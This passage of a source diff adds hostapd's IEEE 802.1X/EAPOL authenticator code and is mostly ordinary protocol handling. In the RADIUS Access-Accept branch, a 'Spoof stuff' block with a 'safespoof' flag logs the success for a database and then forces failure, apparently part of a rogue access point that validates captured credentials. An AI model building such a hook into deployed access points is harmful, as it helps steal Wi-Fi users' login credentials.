HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "received EAP packet (code=%d " + "id=%d len=%d) from STA: EAP Response-%s (%d)", + eap->code, eap->identifier, be_to_host16(eap->length), + eap_server_get_name(0, type), type); + + sm->dot1xAuthEapolRespFramesRx++; + + wpabuf_free(sm->eap_if->eapRespData); + sm->eap_if->eapRespData = wpabuf_alloc_copy(eap, len); + sm->eapolEap = TRUE; +} + + +/* Process incoming EAP packet from Supplicant */ +static void handle_eap(struct hostapd_data *hapd, struct sta_info *sta, + u8 *buf, size_t len) +{ + struct eap_hdr *eap; + u16 eap_len; + + if (len < sizeof(*eap)) { + wpa_printf(MSG_INFO, " too short EAP packet"); + return; + } + + eap = (struct eap_hdr *) buf; + + eap_len = be_to_host16(eap->length); + wpa_printf(MSG_DEBUG, "EAP: code=%d identifier=%d length=%d", + eap->code, eap->identifier, eap_len); + if (eap_len < sizeof(*eap)) { + wpa_printf(MSG_DEBUG, " Invalid EAP length"); + return; + } else if (eap_len > len) { + wpa_printf(MSG_DEBUG, " Too short frame to contain this EAP " + "packet"); + return; + } else if (eap_len < len) { + wpa_printf(MSG_DEBUG, " Ignoring %lu extra bytes after EAP " + "packet", (unsigned long) len - eap_len); + } + + switch (eap->code) { + case EAP_CODE_REQUEST: + wpa_printf(MSG_DEBUG, " (request)"); + return; + case EAP_CODE_RESPONSE: + wpa_printf(MSG_DEBUG, " (response)"); + handle_eap_response(hapd, sta, eap, eap_len); + break; + case EAP_CODE_SUCCESS: + wpa_printf(MSG_DEBUG, " (success)"); + return; + case EAP_CODE_FAILURE: + wpa_printf(MSG_DEBUG, " (failure)"); + return; + default: + wpa_printf(MSG_DEBUG, " (unknown code)"); + return; + } +} + + +static struct eapol_state_machine * +ieee802_1x_alloc_eapol_sm(struct hostapd_data *hapd, struct sta_info *sta) +{ + int flags = 0; + if (sta->flags & WLAN_STA_PREAUTH) + flags |= EAPOL_SM_PREAUTH; + if (sta->wpa_sm) { + flags |= EAPOL_SM_USES_WPA; + if (wpa_auth_sta_get_pmksa(sta->wpa_sm)) + flags |= EAPOL_SM_FROM_PMKSA_CACHE; + } + return eapol_auth_alloc(hapd->eapol_auth, sta->addr, flags, + sta->wps_ie, sta->p2p_ie, sta, + sta->identity, sta->radius_cui); +} + + +/** + * ieee802_1x_receive - Process the EAPOL frames from the Supplicant + * @hapd: hostapd BSS data + * @sa: Source address (sender of the EAPOL frame) + * @buf: EAPOL frame + * @len: Length of buf in octets + * + * This function is called for each incoming EAPOL frame from the interface + */ +void ieee802_1x_receive(struct hostapd_data *hapd, const u8 *sa, const u8 *buf, + size_t len) +{ + struct sta_info *sta; + struct ieee802_1x_hdr *hdr; + struct ieee802_1x_eapol_key *key; + u16 datalen; + struct rsn_pmksa_cache_entry *pmksa; + int key_mgmt; + + if (!hapd->conf->ieee802_1x && !hapd->conf->wpa && + !hapd->conf->wps_state) + return; + + wpa_printf(MSG_DEBUG, "IEEE 802.1X: %lu bytes from " MACSTR, + (unsigned long) len, MAC2STR(sa)); + sta = ap_get_sta(hapd, sa); + if (!sta || (!(sta->flags & (WLAN_STA_ASSOC | WLAN_STA_PREAUTH)) && + !(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_WIRED))) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X data frame from not " + "associated/Pre-authenticating STA"); + return; + } + + if (len < sizeof(*hdr)) { + wpa_printf(MSG_INFO, " too short IEEE 802.1X packet"); + return; + } + + hdr = (struct ieee802_1x_hdr *) buf; + datalen = be_to_host16(hdr->length); + wpa_printf(MSG_DEBUG, " IEEE 802.1X: version=%d type=%d length=%d", + hdr->version, hdr->type, datalen); + + if (len - sizeof(*hdr) < datalen) { + wpa_printf(MSG_INFO, " frame too short for this IEEE 802.1X packet"); + if (sta->eapol_sm) + sta->eapol_sm->dot1xAuthEapLengthErrorFramesRx++; + return; + } + if (len - sizeof(*hdr) > datalen) { + wpa_printf(MSG_DEBUG, " ignoring %lu extra octets after " + "IEEE 802.1X packet", + (unsigned long) len - sizeof(*hdr) - datalen); + } + + if (sta->eapol_sm) { + sta->eapol_sm->dot1xAuthLastEapolFrameVersion = hdr->version; + sta->eapol_sm->dot1xAuthEapolFramesRx++; + } + + key = (struct ieee802_1x_eapol_key *) (hdr + 1); + if (datalen >= sizeof(struct ieee802_1x_eapol_key) && + hdr->type == IEEE802_1X_TYPE_EAPOL_KEY && + (key->type == EAPOL_KEY_TYPE_WPA || + key->type == EAPOL_KEY_TYPE_RSN)) { + wpa_receive(hapd->wpa_auth, sta->wpa_sm, (u8 *) hdr, + sizeof(*hdr) + datalen); + return; + } + + if (!hapd->conf->ieee802_1x && + !(sta->flags & (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS))) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X: Ignore EAPOL message - " + "802.1X not enabled and WPS not used"); + return; + } + + key_mgmt = wpa_auth_sta_key_mgmt(sta->wpa_sm); + if (key_mgmt != -1 && wpa_key_mgmt_wpa_psk(key_mgmt)) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X: Ignore EAPOL message - " + "STA is using PSK"); + return; + } + + if (!sta->eapol_sm) { + sta->eapol_sm = ieee802_1x_alloc_eapol_sm(hapd, sta); + if (!sta->eapol_sm) + return; + +#ifdef CONFIG_WPS + if (!hapd->conf->ieee802_1x) { + u32 wflags = sta->flags & (WLAN_STA_WPS | + WLAN_STA_WPS2 | + WLAN_STA_MAYBE_WPS); + if (wflags == WLAN_STA_MAYBE_WPS || + wflags == (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS)) { + /* + * Delay EAPOL frame transmission until a + * possible WPS STA initiates the handshake + * with EAPOL-Start. Only allow the wait to be + * skipped if the STA is known to support WPS + * 2.0. + */ + wpa_printf(MSG_DEBUG, "WPS: Do not start " + "EAPOL until EAPOL-Start is " + "received"); + sta->eapol_sm->flags |= EAPOL_SM_WAIT_START; + } + } +#endif /* CONFIG_WPS */ + + sta->eapol_sm->eap_if->portEnabled = TRUE; + } + + /* since we support version 1, we can ignore version field and proceed + * as specified in version 1 standard [IEEE Std 802.1X-2001, 7.5.5] */ + /* TODO: actually, we are not version 1 anymore.. However, Version 2 + * does not change frame contents, so should be ok to process frames + * more or less identically. Some changes might be needed for + * verification of fields. */ + + switch (hdr->type) { + case IEEE802_1X_TYPE_EAP_PACKET: + handle_eap(hapd, sta, (u8 *) (hdr + 1), datalen); + break; + + case IEEE802_1X_TYPE_EAPOL_START: + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "received EAPOL-Start " + "from STA"); + sta->eapol_sm->flags &= ~EAPOL_SM_WAIT_START; + pmksa = wpa_auth_sta_get_pmksa(sta->wpa_sm); + if (pmksa) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, + HOSTAPD_LEVEL_DEBUG, "cached PMKSA " + "available - ignore it since " + "STA sent EAPOL-Start"); + wpa_auth_sta_clear_pmksa(sta->wpa_sm, pmksa); + } + sta->eapol_sm->eapolStart = TRUE; + sta->eapol_sm->dot1xAuthEapolStartFramesRx++; + eap_server_clear_identity(sta->eapol_sm->eap); + wpa_auth_sm_event(sta->wpa_sm, WPA_REAUTH_EAPOL); + break; + + case IEEE802_1X_TYPE_EAPOL_LOGOFF: + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "received EAPOL-Logoff " + "from STA"); + sta->acct_terminate_cause = + RADIUS_ACCT_TERMINATE_CAUSE_USER_REQUEST; + accounting_sta_stop(hapd, sta); + sta->eapol_sm->eapolLogoff = TRUE; + sta->eapol_sm->dot1xAuthEapolLogoffFramesRx++; + eap_server_clear_identity(sta->eapol_sm->eap); + break; + + case IEEE802_1X_TYPE_EAPOL_KEY: + wpa_printf(MSG_DEBUG, " EAPOL-Key"); + if (!ap_sta_is_authorized(sta)) { + wpa_printf(MSG_DEBUG, " Dropped key data from " + "unauthorized Supplicant"); + break; + } + break; + + case IEEE802_1X_TYPE_EAPOL_ENCAPSULATED_ASF_ALERT: + wpa_printf(MSG_DEBUG, " EAPOL-Encapsulated-ASF-Alert"); + /* TODO: implement support for this; show data */ + break; + + default: + wpa_printf(MSG_DEBUG, " unknown IEEE 802.1X packet type"); + sta->eapol_sm->dot1xAuthInvalidEapolFramesRx++; + break; + } + + eapol_auth_step(sta->eapol_sm); +} + + +/** + * ieee802_1x_new_station - Start IEEE 802.1X authentication + * @hapd: hostapd BSS data + * @sta: The station + * + * This function is called to start IEEE 802.1X authentication when a new + * station completes IEEE 802.11 association. + */ +void ieee802_1x_new_station(struct hostapd_data *hapd, struct sta_info *sta) +{ + struct rsn_pmksa_cache_entry *pmksa; + int reassoc = 1; + int force_1x = 0; + int key_mgmt; + +#ifdef CONFIG_WPS + if (hapd->conf->wps_state && hapd->conf->wpa && + (sta->flags & (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS))) { + /* + * Need to enable IEEE 802.1X/EAPOL state machines for possible + * WPS handshake even if IEEE 802.1X/EAPOL is not used for + * authentication in this BSS. + */ + force_1x = 1; + } +#endif /* CONFIG_WPS */ + + if (!force_1x && !hapd->conf->ieee802_1x) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X: Ignore STA - " + "802.1X not enabled or forced for WPS"); + /* + * Clear any possible EAPOL authenticator state to support + * reassociation change from WPS to PSK. + */ + ieee802_1x_free_station(sta); + return; + } + + key_mgmt = wpa_auth_sta_key_mgmt(sta->wpa_sm); + if (key_mgmt != -1 && wpa_key_mgmt_wpa_psk(key_mgmt)) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X: Ignore STA - using PSK"); + /* + * Clear any possible EAPOL authenticator state to support + * reassociation change from WPA-EAP to PSK. + */ + ieee802_1x_free_station(sta); + return; + } + + if (sta->eapol_sm == NULL) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "start authentication"); + sta->eapol_sm = ieee802_1x_alloc_eapol_sm(hapd, sta); + if (sta->eapol_sm == NULL) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_INFO, + "failed to allocate state machine"); + return; + } + reassoc = 0; + } + +#ifdef CONFIG_WPS + sta->eapol_sm->flags &= ~EAPOL_SM_WAIT_START; + if (!hapd->conf->ieee802_1x && !(sta->flags & WLAN_STA_WPS2)) { + /* + * Delay EAPOL frame transmission until a possible WPS STA + * initiates the handshake with EAPOL-Start. Only allow the + * wait to be skipped if the STA is known to support WPS 2.0. + */ + wpa_printf(MSG_DEBUG, "WPS: Do not start EAPOL until " + "EAPOL-Start is received"); + sta->eapol_sm->flags |= EAPOL_SM_WAIT_START; + } +#endif /* CONFIG_WPS */ + + sta->eapol_sm->eap_if->portEnabled = TRUE; + +#ifdef CONFIG_IEEE80211R + if (sta->auth_alg == WLAN_AUTH_FT) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, + "PMK from FT - skip IEEE 802.1X/EAP"); + /* Setup EAPOL state machines to already authenticated state + * because of existing FT information from R0KH. */ + sta->eapol_sm->keyRun = TRUE; + sta->eapol_sm->eap_if->eapKeyAvailable = TRUE; + sta->eapol_sm->auth_pae_state = AUTH_PAE_AUTHENTICATING; + sta->eapol_sm->be_auth_state = BE_AUTH_SUCCESS; + sta->eapol_sm->authSuccess = TRUE; + sta->eapol_sm->authFail = FALSE; + if (sta->eapol_sm->eap) + eap_sm_notify_cached(sta->eapol_sm->eap); + /* TODO: get vlan_id from R0KH using RRB message */ + return; + } +#endif /* CONFIG_IEEE80211R */ + + pmksa = wpa_auth_sta_get_pmksa(sta->wpa_sm); + if (pmksa) { + int old_vlanid; + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, + "PMK from PMKSA cache - skip IEEE 802.1X/EAP"); + /* Setup EAPOL state machines to already authenticated state + * because of existing PMKSA information in the cache. */ + sta->eapol_sm->keyRun = TRUE; + sta->eapol_sm->eap_if->eapKeyAvailable = TRUE; + sta->eapol_sm->auth_pae_state = AUTH_PAE_AUTHENTICATING; + sta->eapol_sm->be_auth_state = BE_AUTH_SUCCESS; + sta->eapol_sm->authSuccess = TRUE; + sta->eapol_sm->authFail = FALSE; + if (sta->eapol_sm->eap) + eap_sm_notify_cached(sta->eapol_sm->eap); + old_vlanid = sta->vlan_id; + pmksa_cache_to_eapol_data(pmksa, sta->eapol_sm); + if (sta->ssid->dynamic_vlan == DYNAMIC_VLAN_DISABLED) + sta->vlan_id = 0; + ap_sta_bind_vlan(hapd, sta, old_vlanid); + } else { + if (reassoc) { + /* + * Force EAPOL state machines to start + * re-authentication without having to wait for the + * Supplicant to send EAPOL-Start. + */ + sta->eapol_sm->reAuthenticate = TRUE; + } + eapol_auth_step(sta->eapol_sm); + } +} + + +void ieee802_1x_free_station(struct sta_info *sta) +{ + struct eapol_state_machine *sm = sta->eapol_sm; + + if (sm == NULL) + return; + + sta->eapol_sm = NULL; + +#ifndef CONFIG_NO_RADIUS + radius_msg_free(sm->last_recv_radius); + radius_free_class(&sm->radius_class); + wpabuf_free(sm->radius_cui); +#endif /* CONFIG_NO_RADIUS */ + + os_free(sm->identity); + eapol_auth_free(sm); +} + + +#ifndef CONFIG_NO_RADIUS +static void ieee802_1x_decapsulate_radius(struct hostapd_data *hapd, + struct sta_info *sta) +{ + struct wpabuf *eap; + const struct eap_hdr *hdr; + int eap_type = -1; + char buf[64]; + struct radius_msg *msg; + struct eapol_state_machine *sm = sta->eapol_sm; + + if (sm == NULL || sm->last_recv_radius == NULL) { + if (sm) + sm->eap_if->aaaEapNoReq = TRUE; + return; + } + + msg = sm->last_recv_radius; + + eap = radius_msg_get_eap(msg); + if (eap == NULL) { + /* RFC 3579, Chap. 2.6.3: + * RADIUS server SHOULD NOT send Access-Reject/no EAP-Message + * attribute */ + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_WARNING, "could not extract " + "EAP-Message from RADIUS message"); + sm->eap_if->aaaEapNoReq = TRUE; + return; + } + + if (wpabuf_len(eap) < sizeof(*hdr)) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_WARNING, "too short EAP packet " + "received from authentication server"); + wpabuf_free(eap); + sm->eap_if->aaaEapNoReq = TRUE; + return; + } + + if (wpabuf_len(eap) > sizeof(*hdr)) + eap_type = (wpabuf_head_u8(eap))[sizeof(*hdr)]; + + hdr = wpabuf_head(eap); + switch (hdr->code) { + case EAP_CODE_REQUEST: + if (eap_type >= 0) + sm->eap_type_authsrv = eap_type; + os_snprintf(buf, sizeof(buf), "EAP-Request-%s (%d)", + eap_type >= 0 ? eap_server_get_name(0, eap_type) : + "??", + eap_type); + break; + case EAP_CODE_RESPONSE: + os_snprintf(buf, sizeof(buf), "EAP Response-%s (%d)", + eap_type >= 0 ? eap_server_get_name(0, eap_type) : + "??", + eap_type); + break; + case EAP_CODE_SUCCESS: + os_strlcpy(buf, "EAP Success", sizeof(buf)); + break; + case EAP_CODE_FAILURE: + os_strlcpy(buf, "EAP Failure", sizeof(buf)); + break; + default: + os_strlcpy(buf, "unknown EAP code", sizeof(buf)); + break; + } + buf[sizeof(buf) - 1] = '\0'; + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "decapsulated EAP packet (code=%d " + "id=%d len=%d) from RADIUS server: %s", + hdr->code, hdr->identifier, be_to_host16(hdr->length), + buf); + sm->eap_if->aaaEapReq = TRUE; + + wpabuf_free(sm->eap_if->aaaEapReqData); + sm->eap_if->aaaEapReqData = eap; +} + + +static void ieee802_1x_get_keys(struct hostapd_data *hapd, + struct sta_info *sta, struct radius_msg *msg, + struct radius_msg *req, + const u8 *shared_secret, + size_t shared_secret_len) +{ + struct radius_ms_mppe_keys *keys; + struct eapol_state_machine *sm = sta->eapol_sm; + if (sm == NULL) + return; + + keys = radius_msg_get_ms_keys(msg, req, shared_secret, + shared_secret_len); + + if (keys && keys->send && keys->recv) { + size_t len = keys->send_len + keys->recv_len; + wpa_hexdump_key(MSG_DEBUG, "MS-MPPE-Send-Key", + keys->send, keys->send_len); + wpa_hexdump_key(MSG_DEBUG, "MS-MPPE-Recv-Key", + keys->recv, keys->recv_len); + + os_free(sm->eap_if->aaaEapKeyData); + sm->eap_if->aaaEapKeyData = os_malloc(len); + if (sm->eap_if->aaaEapKeyData) { + os_memcpy(sm->eap_if->aaaEapKeyData, keys->recv, + keys->recv_len); + os_memcpy(sm->eap_if->aaaEapKeyData + keys->recv_len, + keys->send, keys->send_len); + sm->eap_if->aaaEapKeyDataLen = len; + sm->eap_if->aaaEapKeyAvailable = TRUE; + } + } + + if (keys) { + os_free(keys->send); + os_free(keys->recv); + os_free(keys); + } +} + + +static void ieee802_1x_store_radius_class(struct hostapd_data *hapd, + struct sta_info *sta, + struct radius_msg *msg) +{ + u8 *class; + size_t class_len; + struct eapol_state_machine *sm = sta->eapol_sm; + int count, i; + struct radius_attr_data *nclass; + size_t nclass_count; + + if (!hapd->conf->radius->acct_server || hapd->radius == NULL || + sm == NULL) + return; + + radius_free_class(&sm->radius_class); + count = radius_msg_count_attr(msg, RADIUS_ATTR_CLASS, 1); + if (count <= 0) + return; + + nclass = os_calloc(count, sizeof(struct radius_attr_data)); + if (nclass == NULL) + return; + + nclass_count = 0; + + class = NULL; + for (i = 0; i < count; i++) { + do { + if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CLASS, + &class, &class_len, + class) < 0) { + i = count; + break; + } + } while (class_len < 1); + + nclass[nclass_count].data = os_malloc(class_len); + if (nclass[nclass_count].data == NULL) + break; + + os_memcpy(nclass[nclass_count].data, class, class_len); + nclass[nclass_count].len = class_len; + nclass_count++; + } + + sm->radius_class.attr = nclass; + sm->radius_class.count = nclass_count; + wpa_printf(MSG_DEBUG, "IEEE 802.1X: Stored %lu RADIUS Class " + "attributes for " MACSTR, + (unsigned long) sm->radius_class.count, + MAC2STR(sta->addr)); +} + + +/* Update sta->identity based on User-Name attribute in Access-Accept */ +static void ieee802_1x_update_sta_identity(struct hostapd_data *hapd, + struct sta_info *sta, + struct radius_msg *msg) +{ + u8 *buf, *identity; + size_t len; + struct eapol_state_machine *sm = sta->eapol_sm; + + if (sm == NULL) + return; + + if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_USER_NAME, &buf, &len, + NULL) < 0) + return; + + identity = (u8 *) dup_binstr(buf, len); + if (identity == NULL) + return; + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "old identity '%s' updated with " + "User-Name from Access-Accept '%s'", + sm->identity ? (char *) sm->identity : "N/A", + (char *) identity); + + os_free(sm->identity); + sm->identity = identity; + sm->identity_len = len; +} + + +/* Update CUI based on Chargeable-User-Identity attribute in Access-Accept */ +static void ieee802_1x_update_sta_cui(struct hostapd_data *hapd, + struct sta_info *sta, + struct radius_msg *msg) +{ + struct eapol_state_machine *sm = sta->eapol_sm; + struct wpabuf *cui; + u8 *buf; + size_t len; + + if (sm == NULL) + return; + + if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, + &buf, &len, NULL) < 0) + return; + + cui = wpabuf_alloc_copy(buf, len); + if (cui == NULL) + return; + + wpabuf_free(sm->radius_cui); + sm->radius_cui = cui; +} + + +struct sta_id_search { + u8 identifier; + struct eapol_state_machine *sm; +}; + + +static int ieee802_1x_select_radius_identifier(struct hostapd_data *hapd, + struct sta_info *sta, + void *ctx) +{ + struct sta_id_search *id_search = ctx; + struct eapol_state_machine *sm = sta->eapol_sm; + + if (sm && sm->radius_identifier >= 0 && + sm->radius_identifier == id_search->identifier) { + id_search->sm = sm; + return 1; + } + return 0; +} + + +static struct eapol_state_machine * +ieee802_1x_search_radius_identifier(struct hostapd_data *hapd, u8 identifier) +{ + struct sta_id_search id_search; + id_search.identifier = identifier; + id_search.sm = NULL; + ap_for_each_sta(hapd, ieee802_1x_select_radius_identifier, &id_search); + return id_search.sm; +} + + +/** + * ieee802_1x_receive_auth - Process RADIUS frames from Authentication Server + * @msg: RADIUS response message + * @req: RADIUS request message + * @shared_secret: RADIUS shared secret + * @shared_secret_len: Length of shared_secret in octets + * @data: Context data (struct hostapd_data *) + * Returns: Processing status + */ +static RadiusRxResult +ieee802_1x_receive_auth(struct radius_msg *msg, struct radius_msg *req, + const u8 *shared_secret, size_t shared_secret_len, + void *data) +{ + struct hostapd_data *hapd = data; + struct sta_info *sta; + u32 session_timeout = 0, termination_action, acct_interim_interval; + int session_timeout_set, old_vlanid = 0; + struct eapol_state_machine *sm; + int override_eapReq = 0; + struct radius_hdr *hdr = radius_msg_get_hdr(msg); + + sm = ieee802_1x_search_radius_identifier(hapd, hdr->identifier); + if (sm == NULL) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X: Could not find matching " + "station for this RADIUS message"); + return RADIUS_RX_UNKNOWN; + } + sta = sm->sta; + + /* RFC 2869, Ch. 5.13: valid Message-Authenticator attribute MUST be + * present when packet contains an EAP-Message attribute */ + if (hdr->code == RADIUS_CODE_ACCESS_REJECT && + radius_msg_get_attr(msg, RADIUS_ATTR_MESSAGE_AUTHENTICATOR, NULL, + 0) < 0 && + radius_msg_get_attr(msg, RADIUS_ATTR_EAP_MESSAGE, NULL, 0) < 0) { + wpa_printf(MSG_DEBUG, "Allowing RADIUS Access-Reject without " + "Message-Authenticator since it does not include " + "EAP-Message"); + } else if (radius_msg_verify(msg, shared_secret, shared_secret_len, + req, 1)) { + wpa_printf(MSG_INFO, "Incoming RADIUS packet did not have correct Message-Authenticator - dropped"); + return RADIUS_RX_INVALID_AUTHENTICATOR; + } + + if (hdr->code != RADIUS_CODE_ACCESS_ACCEPT && + hdr->code != RADIUS_CODE_ACCESS_REJECT && + hdr->code != RADIUS_CODE_ACCESS_CHALLENGE) { + wpa_printf(MSG_INFO, "Unknown RADIUS message code"); + return RADIUS_RX_UNKNOWN; + } + + sm->radius_identifier = -1; + wpa_printf(MSG_DEBUG, "RADIUS packet matching with station " MACSTR, + MAC2STR(sta->addr)); + + radius_msg_free(sm->last_recv_radius); + sm->last_recv_radius = msg; + + session_timeout_set = + !radius_msg_get_attr_int32(msg, RADIUS_ATTR_SESSION_TIMEOUT, + &session_timeout); + if (radius_msg_get_attr_int32(msg, RADIUS_ATTR_TERMINATION_ACTION, + &termination_action)) + termination_action = RADIUS_TERMINATION_ACTION_DEFAULT; + + if (hapd->conf->acct_interim_interval == 0 && + hdr->code == RADIUS_CODE_ACCESS_ACCEPT && + radius_msg_get_attr_int32(msg, RADIUS_ATTR_ACCT_INTERIM_INTERVAL, + &acct_interim_interval) == 0) { + if (acct_interim_interval < 60) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_INFO, + "ignored too small " + "Acct-Interim-Interval %d", + acct_interim_interval); + } else + sta->acct_interim_interval = acct_interim_interval; + } + + + switch (hdr->code) { + case RADIUS_CODE_ACCESS_ACCEPT: + // Spoof stuff + wpa_printf(MSG_INFO, "!!! Store success in database here!"); + if(hapd->conf->ieee802_1x == 1 && hapd->conf->safespoof == 1) { + //ap_sta_disconnect(hapd, sta, sta->addr, WLAN_REASON_DISASSOC_AP_BUSY); + sm->eap_if->aaaFail = TRUE; + override_eapReq = 1; + break; + } + // ----------------- + + if (sta->ssid->dynamic_vlan == DYNAMIC_VLAN_DISABLED) + sta->vlan_id = 0; +#ifndef CONFIG_NO_VLAN + else { + old_vlanid = sta->vlan_id; + sta->vlan_id = radius_msg_get_vlanid(msg); + } + if (sta->vlan_id > 0 && + hostapd_vlan_id_valid(hapd->conf->vlan, sta->vlan_id)) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_INFO, + "VLAN ID %d", sta->vlan_id); + } else if (sta->ssid->dynamic_vlan == DYNAMIC_VLAN_REQUIRED) { + sta->eapol_sm->authFail = TRUE; + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_INFO, "authentication " + "server did not include required VLAN " + "ID in Access-Accept"); + break; + } +#endif /* CONFIG_NO_VLAN */ + + if (ap_sta_bind_vlan(hapd, sta, old_vlanid) < 0) + break; + + /* RFC 3580, Ch. 3.17 */ + if (session_timeout_set && termination_action == + RADIUS_TERMINATION_ACTION_RADIUS_REQUEST) { + sm->reAuthPeriod = session_timeout; + } else if (session_timeout_set) + ap_sta_session_timeout(hapd, sta, session_timeout); + + sm->eap_if->aaaSuccess = TRUE; + override_eapReq = 1; + ieee802_1x_get_keys(hapd, sta, msg, req, shared_secret, + shared_secret_len); + ieee802_1x_store_radius_class(hapd, sta, msg); + ieee802_1x_update_sta_identity(hapd, sta, msg); + ieee802_1x_update_sta_cui(hapd, sta, msg); + if (sm->eap_if->eapKeyAvailable && + wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt, + session_timeout_set ? + (int) session_timeout : -1, sm) == 0) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, + HOSTAPD_LEVEL_DEBUG, + "Added PMKSA cache entry"); + } + break; + case RADIUS_CODE_ACCESS_REJECT: + sm->eap_if->aaaFail = TRUE; + override_eapReq = 1; + break; + case RADIUS_CODE_ACCESS_CHALLENGE: + sm->eap_if->aaaEapReq = TRUE; + if (session_timeout_set) { + /* RFC 2869, Ch. 2.3.2; RFC 3580, Ch. 3.17 */ + sm->eap_if->aaaMethodTimeout = session_timeout; + hostapd_logger(hapd, sm->addr, + HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, + "using EAP timeout of %d seconds (from " + "RADIUS)", + sm->eap_if->aaaMethodTimeout); + } else { + /* + * Use dynamic retransmission behavior per EAP + * specification. + */ + sm->eap_if->aaaMethodTimeout = 0; + } + break; + } + + ieee802_1x_decapsulate_radius(hapd, sta); + if (override_eapReq) + sm->eap_if->aaaEapReq = FALSE; + + eapol_auth_step(sm); + + return RADIUS_RX_QUEUED; +} +#endif /* CONFIG_NO_RADIUS */ + + +void ieee802_1x_abort_auth(struct hostapd_data *hapd, struct sta_info *sta) +{ + struct eapol_state_machine *sm = sta->eapol_sm; + if (sm == NULL) + return; + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "aborting authentication"); + +#ifndef CONFIG_NO_RADIUS + radius_msg_free(sm->last_recv_radius); + sm->last_recv_radius = NULL; +#endif /* CONFIG_NO_RADIUS */ + + if (sm->eap_if->eapTimeout) { + /* + * Disconnect the STA since it did not reply to the last EAP + * request and we cannot continue EAP processing (EAP-Failure + * could only be sent if the EAP peer actually replied). + */ + wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "EAP Timeout, STA " MACSTR, + MAC2STR(sta->addr)); + + sm->eap_if->portEnabled = FALSE; + ap_sta_disconnect(hapd, sta, sta->addr, + WLAN_REASON_PREV_AUTH_NOT_VALID); + } +} + + +static int ieee802_1x_rekey_broadcast(struct hostapd_data *hapd) +{ + struct eapol_authenticator *eapol = hapd->eapol_auth; + + if (hapd->conf->default_wep_key_len < 1) + return 0; + + os_free(eapol->default_wep_key); + eapol->default_wep_key = os_malloc(hapd->conf->default_wep_key_len); + if (eapol->default_wep_key == NULL || + random_get_bytes(eapol->default_wep_key, + hapd->conf->default_wep_key_len)) { + wpa_printf(MSG_INFO, "Could not generate random WEP key"); + os_free(eapol->default_wep_key); + eapol->default_wep_key = NULL; + return -1; + } + + wpa_hexdump_key(MSG_DEBUG, "IEEE 802.1X: New default WEP key", + eapol->default_wep_key, + hapd->conf->default_wep_key_len); + + return 0; +} + + +static int ieee802_1x_sta_key_available(struct hostapd_data *hapd, + struct sta_info *sta, void *ctx) +{ + if (sta->eapol_sm) { + sta->eapol_sm->eap_if->eapKeyAvailable = TRUE; + eapol_auth_step(sta->eapol_sm); + } + return 0; +} + + +static void ieee802_1x_rekey(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + struct eapol_authenticator *eapol = hapd->eapol_auth; + + if (eapol->default_wep_key_idx >= 3) + eapol->default_wep_key_idx = + hapd->conf->individual_wep_key_len > 0 ? 1 : 0; + else + eapol->default_wep_key_idx++; + + wpa_printf(MSG_DEBUG, "IEEE 802.1X: New default WEP key index %d", + eapol->default_wep_key_idx); + + if (ieee802_1x_rekey_broadcast(hapd)) { + hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_WARNING, "failed to generate a " + "new broadcast key"); + os_free(eapol->default_wep_key); + eapol->default_wep_key = NULL; + return; + } + + /* TODO: Could setup key for RX here, but change default TX keyid only + * after new broadcast key has been sent to all stations. */ + if (hostapd_drv_set_key(hapd->conf->iface, hapd, WPA_ALG_WEP, + broadcast_ether_addr, + eapol->default_wep_key_idx, 1, NULL, 0, + eapol->default_wep_key, + hapd->conf->default_wep_key_len)) { + hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_WARNING, "failed to configure a " + "new broadcast key"); + os_free(eapol->default_wep_key); + eapol->default_wep_key = NULL; + return; + } + + ap_for_each_sta(hapd, ieee802_1x_sta_key_available, NULL); + + if (hapd->conf->wep_rekeying_period > 0) { + 